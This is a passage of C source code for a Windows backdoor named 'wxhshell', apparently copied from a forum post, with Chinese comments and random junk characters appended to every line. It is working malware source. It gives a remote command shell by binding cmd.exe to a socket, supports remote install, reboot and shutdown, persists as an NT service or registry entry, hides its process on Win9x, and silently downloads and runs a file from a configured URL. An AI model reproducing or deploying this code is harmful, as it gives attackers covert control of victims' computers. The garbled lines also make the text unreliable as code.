    break; %GIr&V4|  
  } MR.'t9m2L  
  // 安装 2T[9f;jM'  
  case 'i': { '>C5-R:O  
    if(Install()) yJe>JK~)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u08mqEa  
    else  qA5r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t.\dpBq  
    break; i<g-+Qs  
    } %BB%pC  
  // 卸载 ^D-/`d  
  case 'r': { }f7j 8py  
    if(Uninstall()) |)/aGZ+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2gVm9gAHUd  
    else IRqy%@)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 42ivT_H  
    break; iM 3V=&)  
    } i8HTzv"J  
  // 显示 wxhshell 所在路径 {U !g.rh  
  case 'p': { 1D!<'`)AY  
    char svExeFile[MAX_PATH]; #@nezu2  
    strcpy(svExeFile,"\n\r"); LC!bIm5'  
      strcat(svExeFile,ExeFile); }|5Pr(I  
        send(wsh,svExeFile,strlen(svExeFile),0); c_!cv":s  
    break; l0i^uMS  
    } "i W"NFO  
  // 重启 g5r(>,vY  
  case 'b': { ! #2{hQRu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xW Q`tWA:J  
    if(Boot(REBOOT)) .y:U&Rw4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \mlqO[ S  
    else { 0h7r&t%YsV  
    closesocket(wsh); I?G :p+  
    ExitThread(0); r1RM  
    } 5bpEYW+  
    break; R<N ]B  
    } |*tp16+6  
  // 关机 k~ /Nv=D  
  case 'd': { ( Px OE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vj>8a)"B5a  
    if(Boot(SHUTDOWN)) sZF6h=67D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <0q;NrvUb  
    else { Qv/=&_6  
    closesocket(wsh); *<ewS8f*6  
    ExitThread(0); *$ %a:q1U  
    } UByv?KZi  
    break; cDH^\-z  
    } qPfQy  
  // 获取shell lQkQ9##*   
  case 's': { 85xR2<:  
    CmdShell(wsh); f^XOUh  
    closesocket(wsh); {%6`!WW[  
    ExitThread(0); Ck7uJI<x  
    break; Q^txVUL  
  } m$T-s|SY  
  // 退出 fNZ__gO!%  
  case 'x': { `$ aZ0+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  zi`o#+  
    CloseIt(wsh); Czu\RXJR  
    break; 8StgsM  
    } =P #]  
  // 离开 Aj+F |l  
  case 'q': { 1 Nd2{(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  t[ C/  
    closesocket(wsh); x>`%DwoRI  
    WSACleanup(); (mtk 4  
    exit(1); _MX>#!l  
    break; O55 xS+3^k  
        } !5uGd`^I  
  } cJ @Wt>YI  
  } t"/q]G5  
l$bu%SZ  
  // 提示信息 #';:2Nyq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xbYi.  
} * *G9H  
  } {8,J@9NU  
Y#$%iF  
  return; B%+T2=&$7  
} IG9VdDj  
]^K 4i)\  
// shell模块句柄 >%8KK|V{  
int CmdShell(SOCKET sock) )+t0:GwP`:  
{ =]Jd9]vi  
STARTUPINFO si; _Qi&J.U>  
ZeroMemory(&si,sizeof(si)); *>qp:;,DKP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H@8sNV/u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gn".u!9j  
PROCESS_INFORMATION ProcessInfo; m<"WDU?y;  
char cmdline[]="cmd"; 8k1Dj1@0z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mk+B9?;cF-  
  return 0; mZ"4&U  
} j*TYoH1  
Ob&<]  
// 自身启动模式 uw +M  
int StartFromService(void) uT7B#b7  
{ gz#i.-  
typedef struct q2:6QM&  
{ h Pa_VrH  
  DWORD ExitStatus; I- >Ss},U  
  DWORD PebBaseAddress; Oh6fj}eK  
  DWORD AffinityMask; ! lc[  
  DWORD BasePriority; +<3X J7D  
  ULONG UniqueProcessId; j@uOOhy  
  ULONG InheritedFromUniqueProcessId; e@* EzvO  
}   PROCESS_BASIC_INFORMATION; RxWVe-Dg  
K':;%~I  
PROCNTQSIP NtQueryInformationProcess; o@i#|kx,  
6 EC*   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yx&51G$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;8{4!S&b  
x!58cS*  
  HANDLE             hProcess; Y+u_IJ  
  PROCESS_BASIC_INFORMATION pbi; } .y 1;.  
3H6lBF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bj-: #P@  
  if(NULL == hInst ) return 0; <oA7'|Bu<  
2OR{[L*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1--C~IjJ+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A='N=^Pm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y^v6AM  
0rG^,(3m  
  if (!NtQueryInformationProcess) return 0; `gf0l /d  
D}8[bWF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?FF4zI~  
  if(!hProcess) return 0; kw %};;  
"PTZ%7YH}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .NC:;@y  
X1-'COQS%&  
  CloseHandle(hProcess); g+>(dnX  
qUGC" <W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); };jN\x?&q  
if(hProcess==NULL) return 0; (VEpVn3{  
e MY<uqdw  
HMODULE hMod; ``\i58K{e  
char procName[255]; *>2W#D)b=  
unsigned long cbNeeded; dS!:JO27  
*ipFwQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MUREiL9L|  
r@t9Ci=}  
  CloseHandle(hProcess); Mh/dpb\Z  
,*hLFaR-  
if(strstr(procName,"services")) return 1; // 以服务启动 pRIhFf  
{NFr]LGOp  
  return 0; // 注册表启动 @ljA  
} _ff`y  
nR}sNl1  
// 主模块 yt=3sq  
int StartWxhshell(LPSTR lpCmdLine) 7gvnl~C(  
{ %9N7Ln|%  
  SOCKET wsl; i}mVQ\j5  
BOOL val=TRUE; RcM/!,B  
  int port=0; vZ&T}H~8  
  struct sockaddr_in door; ,<tX%n`v=  
n; +LH9  
  if(wscfg.ws_autoins) Install(); -$jEfi4I  
W~~7 C,!  
port=atoi(lpCmdLine); ;HJLs2bP  
W=Mb  
if(port<=0) port=wscfg.ws_port; B!_mC<*4`X  
(# Gw1  
  WSADATA data; ?DQsc9y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2s&*  
J^}V|#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4Thn])%I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ix!Iw[CNd  
  door.sin_family = AF_INET; L>W'LNXCv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n%C>E.Tq  
  door.sin_port = htons(port); [nc4{0aT'  
>eqxV|]i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t2I5hSf  
closesocket(wsl); v99B7VH4  
return 1; uRRQyZ  
} ,PuL{%PXu  
r1.nTO%  
  if(listen(wsl,2) == INVALID_SOCKET) { zHL@i0>^  
closesocket(wsl); ICs\ z  
return 1; PQnF  
} !^=*Jq>  
  Wxhshell(wsl); ,dov<U[ia  
  WSACleanup(); 6)-X  
Ov4y %Pj  
return 0; [los dnH^?  
-o[x2u~n\  
} =;3Sx::=  
7/ysVWt  
// 以NT服务方式启动 Z&4&-RCi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WDc+6/<  
{ EQ`(yj  
DWORD   status = 0; {G}.b)9FG  
  DWORD   specificError = 0xfffffff; 36%nB*  
xtE_=5$~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !?p%xj?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6c"0})p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !2A:"2Kys:  
  serviceStatus.dwWin32ExitCode     = 0; +!z{5:  
  serviceStatus.dwServiceSpecificExitCode = 0; RIXMJ7e7  
  serviceStatus.dwCheckPoint       = 0; RHq/JD-  
  serviceStatus.dwWaitHint       = 0; Z!@~>i  
*-q"3 D`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0]=i}wL 8  
  if (hServiceStatusHandle==0) return; QM O!v;  
QP)pgAc  
status = GetLastError(); %Nhx;{  
  if (status!=NO_ERROR) ,TPISs  
{ g[I b,la_a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ang~<  
    serviceStatus.dwCheckPoint       = 0; Xr2ou5zAn  
    serviceStatus.dwWaitHint       = 0; /X(t1+  
    serviceStatus.dwWin32ExitCode     = status; 8X`tU<Ab  
    serviceStatus.dwServiceSpecificExitCode = specificError; pr#z=vqH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WObvbaK  
    return; Vf'd*-_!Q<  
  } Jd(,/q  
| 8=nL$u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,:`4%  
  serviceStatus.dwCheckPoint       = 0; a1.Ptf eW|  
  serviceStatus.dwWaitHint       = 0; _$f9]bab  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]*FVz$>XM  
} vj\dA2!~  
U{z9>  
// 处理NT服务事件,比如:启动、停止 *@Y3oh}S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7L@K _ZJ  
{ M^iU;vo  
switch(fdwControl) RIE5KCrGB  
{ iz?tu: \v&  
case SERVICE_CONTROL_STOP: & )vC;$vD`  
  serviceStatus.dwWin32ExitCode = 0; jhu&& ==\f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CkD#/  
  serviceStatus.dwCheckPoint   = 0; ;SaX;!`39+  
  serviceStatus.dwWaitHint     = 0; C;`XlQG `  
  { {R61cD,n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?jt}*q>X]  
  } &A)B~"[~  
  return; %Gj8F4{  
case SERVICE_CONTROL_PAUSE: '|*?*6q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Yd=a}T  
  break; 9^Whg ~{  
case SERVICE_CONTROL_CONTINUE: >teO m?@U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \ZhfgE8{%  
  break; AUNQA  
case SERVICE_CONTROL_INTERROGATE: $m+sNEAa  
  break; UIAj]  
}; x-<)\L&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); On@<J&%  
} 4RV%Z!kcD!  
* Y7jl#7  
// 标准应用程序主函数 `|#Qx3n%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RE=+ Dz{  
{ B`o]*"xkB  
0i|oYaC  
// 获取操作系统版本 rBTeb0i?  
OsIsNt=GetOsVer(); C2xL1`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )+"'oY$]}  
|t) }VM%  
  // 从命令行安装 eKz?"g/j  
  if(strpbrk(lpCmdLine,"iI")) Install(); iNWo"=J  
\uq/x^?yo  
  // 下载执行文件 !$Tw^$n  
if(wscfg.ws_downexe) { n;p:=\uN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T<@cd|`  
  WinExec(wscfg.ws_filenam,SW_HIDE); /43-;"%>  
} "+ >SJ~  
~$f;U  
if(!OsIsNt) { E55t*^`  
// 如果时win9x,隐藏进程并且设置为注册表启动 UH>F|3"d  
HideProc(); a/U2xq{x  
StartWxhshell(lpCmdLine); PN<C=gAe  
} bb`':3%  
else P<2 +L|X?}  
  if(StartFromService()) ;?~$h-9)  
  // 以服务方式启动 >'xGp7}y  
  StartServiceCtrlDispatcher(DispatchTable); u#A<hq;  
else -0Tnh;&=  
  // 普通方式启动 M- 2Tz[  
  StartWxhshell(lpCmdLine); ls`,EFF  
+|{RE.DL  
return 0; #E+gXan  
}
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只看该作者 1 发表于: 2006-10-10
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